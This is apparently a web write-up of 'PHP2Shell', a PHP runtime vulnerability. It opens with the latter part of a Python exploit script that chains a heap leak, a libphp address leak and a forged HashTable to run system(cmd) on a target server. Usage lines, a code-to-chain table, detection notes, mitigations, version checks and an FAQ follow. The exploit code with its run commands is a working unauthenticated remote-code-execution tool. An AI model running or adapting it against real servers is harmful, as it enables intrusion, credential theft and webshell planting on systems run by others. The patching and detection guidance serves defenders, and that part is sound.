                    help="GET this path afterwards (for commands writing to webroot)")
    ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
                    help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")
    ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
                    help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")
    ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",
                    help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")
    ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
                    help="chunk-relative offset of the 167-byte live string")
    ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
                    help="read libphp offsets from this file ('' to disable)")
    ap.add_argument("--docker-container", default="php2shell-target",
                    help="container used to auto-derive offsets on localhost")
    ap.add_argument("--no-auto-offsets", action="store_true",
                    help="never run docker/offsets.py automatically")
    ap.add_argument("--huge-mb", type=int, default=12,
                    help="size of the OOM field; must exceed memory_limit")
    ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
    ap.add_argument("--no-pre-rotate", action="store_true",
                    help="skip the initial worker rotation")
    ap.add_argument("--no-retry-rotate", action="store_true",
                    help="do not rotate between failed stage attempts")
    ap.add_argument("--retries", type=int, default=3,
                    help="attempts per leak stage; stage 3 uses retries+2")
    ap.add_argument("-q", "--quiet", action="store_true")
    args = ap.parse_args()

    if len(args.cmd.encode()) > MAX_CMD:
        ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")

    if args.htdata_offset is None:
        args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"
                              else HTDATA_OFFSET)

    local_offsets = read_offsets_file(args.offsets_file)
    t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)

    # A local docker target may be built from a different image/toolchain than
    # the lab; ask the container for its real libphp offsets once.
    if (not local_offsets and not args.no_auto_offsets and args.offsets_file
            and t.host in ("127.0.0.1", "localhost", "::1")):
        helper = os.path.join(_HERE, "docker", "offsets.py")
        if os.path.exists(helper):
            if not args.quiet:
                print("[*] no offsets file; reading libphp symbols from "
                      f"container {args.docker_container}", flush=True)
            try:
                subprocess.run(
                    [sys.executable, helper, args.docker_container, args.offsets_file],
                    check=False, timeout=60,
                    stdout=None if not args.quiet else subprocess.DEVNULL,
                    stderr=None if not args.quiet else subprocess.DEVNULL,
                )
            except (OSError, subprocess.SubprocessError):
                pass
            local_offsets = read_offsets_file(args.offsets_file)

    if args.zif_offset is None:
        args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)
    if args.dtor_offset is None:
        args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)

    ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,
                 dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
                 huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)
    t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
    if local_offsets:
        t.log(f"[*] offsets loaded from {args.offsets_file}")
    t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
          f"htdata=0x{args.htdata_offset:x}")

    def rotate_after_failure() -> None:
        if not args.no_retry_rotate:
            ex.rotate()

    # Fingerprint the target with a plain GET first. Besides confirming the
    # endpoint, this primes the worker's heap into the state the stage-1
    # grooming is calibrated for, so the leak lands on the first attempt.
    try:
        _fs = t._connect()
        _fs.sendall(f"GET {t.path} HTTP/1.1\r\n"
                    f"Host: {t.host}:{t.port}\r\n"
                    f"Connection: close\r\n\r\n".encode())
        _fp = b""
        try:
            while len(_fp) < 65536:
                _ch = _fs.recv(4096)
                if not _ch:
                    break
                _fp += _ch
        except OSError:
            pass
        _fs.close()
    except OSError:
        pass

    if not args.no_pre_rotate:
        ex.rotate()

    # ---- stage 1 ----
    chunk = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
        chunk = ex.stage1()
        if chunk:
            t.log(f"[+] chunk base = 0x{chunk:x}")
            break
        t.log("[-] heap leak missed")
        rotate_after_failure()
    if not chunk:
        _sv = t.verbose
        t.verbose = ex.verbose = False
        chunk = ex.calibrate_stage1(center=ex.stage1_n, radius=80, coarse=10, log=None)
        t.verbose = ex.verbose = _sv
        if chunk:
            t.log(f"[+] chunk base = 0x{chunk:x}")
    if not chunk:
        print("HEAP_LEAK_FAILED", file=sys.stderr)
        return 1
    ex.rotate()  # each stage needs a fresh worker

    # ---- stage 2 ----
    libphp = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
        libphp = ex.stage2()
        if libphp:
            t.log(f"[+] libphp base = 0x{libphp:x}")
            break
        t.log("[-] libphp leak missed")
        rotate_after_failure()
    if not libphp:
        _sv = t.verbose
        t.verbose = ex.verbose = False
        libphp = ex.calibrate_stage2(center=ex.stage2_t, radius=60, coarse=5, log=None)
        t.verbose = ex.verbose = _sv
        if libphp:
            t.log(f"[+] libphp base = 0x{libphp:x}")
    if not libphp:
        print("LIBPHP_LEAK_FAILED", file=sys.stderr)
        return 1
    ex.rotate()

    # ---- stage 3 ----
    htdata = chunk + args.htdata_offset
    zif = libphp + args.zif_offset
    t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
    proof = ""
    if args.proof_file:
        try:
            if os.path.exists(args.proof_file):
                os.unlink(args.proof_file)
        except OSError:
            pass

    for attempt in range(1, args.retries + 3):
        try:
            ex.stage3(htdata, zif)
        except OSError as e:
            t.log(f"[-] request error: {e}")
        time.sleep(0.8)

        if args.proof_file:
            try:
                if os.path.exists(args.proof_file):
                    with open(args.proof_file, "rb") as f:
                        proof = f.read().decode("latin1").strip()
            except OSError:
                pass
        if not proof and args.fetch:
            status, body = t.get(args.fetch)
            if status == 200:
                proof = body.decode("latin1").strip()
        if proof:
            t.log(f"[+] W3 attempt {attempt}")
            print(f"PROOF: {proof}")
            return 0
        t.log(f"[-] stage 3 attempt {attempt} no proof yet")
        rotate_after_failure()

    print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",
          file=sys.stderr)
    return 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        sys.exit(130)

Usage

python3 exploit.py -u http://127.0.0.1:8088/index.php
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1

How the code maps to the chain

CodeChain step
rotate()Stage 0 — aborts the current prefork worker over HTTP so a fresh one picks up the corrupted state.
stage1() + chunk_base_from_cookie()Stage 1 — OOM during upload progress → stale session-id pointer → Set-Cookie leak → 2 MB-aligned heap chunk base.
stage2() + libphp_base_from_cookie()Stage 2 — second leak reads the ZVAL_PTR_DTOR pointer → libphp base. ASLR defeated.
_fake_payload() + stage3()Stage 3 — forged 167-byte HashTable with pDestructor = zif_system; engine cleanup calls system(cmd).
calibrate_stage1/2, retriesRobustness — sweeps filler counts and re-rotates workers because the corruption is probabilistic.

08Detection

The attack leaves distinctive marks — any of these, and especially the combination, is worth alerting on while patching is in progress:

Treat a suspected incident as both code execution and data disclosure: audit credential, session-token and key exposure too, and consider rotating secrets on exposed hosts.

09Mitigation

The real fix

Because PHP2Shell lives in the runtime, "updating the website" misses it entirely. Updating WordPress, Drupal, Joomla or Laravel changes the application; the vulnerable code is in PHP, underneath all of them. The only complete fix:

  1. Update the PHP package your distro ships (or the base image your container builds from) to 8.5.12, 8.4.27, 8.3.36 or 8.2.35.
  2. Restart every worker (Apache, PHP-FPM, FrankenPHP) so no process keeps running the old code.

Interim measures (not complete substitutes)

; php.ini — temporary exposure reduction only
session.upload_progress.enabled = 0   # removes the trigger for most reported techniques
opcache.enable = 0                    # frustrates the code-execution path
; on PHP 8.5 only:
fatal_error_backtraces = 0            # addresses CVE-2026-109619 specifically

10Am I affected?

Check every web server — and don't forget embedded copies (sidecars, workers, appliances need separate inventory):

# check the version
php -v
# VULNERABLE, e.g.:  PHP 8.4.26  # one release short of the fix
# FIXED, e.g.:      PHP 8.4.27
QuestionAnswer
Which PHP versions?Believed affected back to 5.4.0 (2012). Fixed in 8.5.12, 8.4.27, 8.3.36, 8.2.35; source backports published for 7.4 / 8.0 / 8.1. Distro packages may carry the fix under older numbers — check the changelog for the CVE IDs.
Which SAPIs?Apache mod_php is the easiest target and highest risk; also PHP-FPM, php-cgi, FrankenPHP, LSAPI, Windows PHP.
Does updating WordPress / plugins fix it?No. This is in the PHP runtime.
Does the app need sessions or uploads?Not necessarily — the upload-progress trigger runs before application code, even if the app never calls session_start().
What does the attacker get?Code execution as the web worker user (not root automatically) — enough to read configs/DB creds, drop webshells, and pivot. Plus potential memory disclosure of secrets and keys.

11FAQ

Is PHP2Shell a WordPress bug?
No. It lives in the PHP interpreter. Every PHP application — WordPress, Drupal, Joomla, Laravel, custom code — is exposed if the underlying PHP build is vulnerable.
Does the attacker need an account?
No. Exploitation is unauthenticated and needs no user interaction — just crafted multipart HTTP requests.
Why "Heartbleed of PHP"?
Because CVE-2026-109618 can leak ~67 KB of live server memory per request through a response cookie, potentially including secrets and private keys — the same class of failure that made Heartbleed infamous.
Why did it take 14 years to find?
The bugs sit in exceptional code paths (OOM bailouts, fatal-error handling) that are hard to reach reliably, and turning the corruption into working RCE needs precise heap shaping. AI-assisted research made that practical in 2026.
I'm on PHP 7.4 / 8.0 / 8.1 — am I out of luck?
Those branches are end-of-life, but the PHP team published source backports. Otherwise migrate to a supported branch or rely on your distro's backported package — and apply the interim mitigations meanwhile.
Why does the exploit need only 14 bytes for the command?
The stage-3 payload embeds the command in a 167-byte live zend_string carrier; after the fake HashTable and execute_data headers, 14 bytes remain. Longer commands chain through a short shell trigger like sh</out/c.

12Sources

CVE-2026-109618 • CVE-2026-109619 • CWE-824 / CWE-416 • CVSS v4.0 9.2 (Critical). Technical content on this page draws on the author's notes and the TryHackMe PHP2Shell room. Last updated 23 Oct 2026.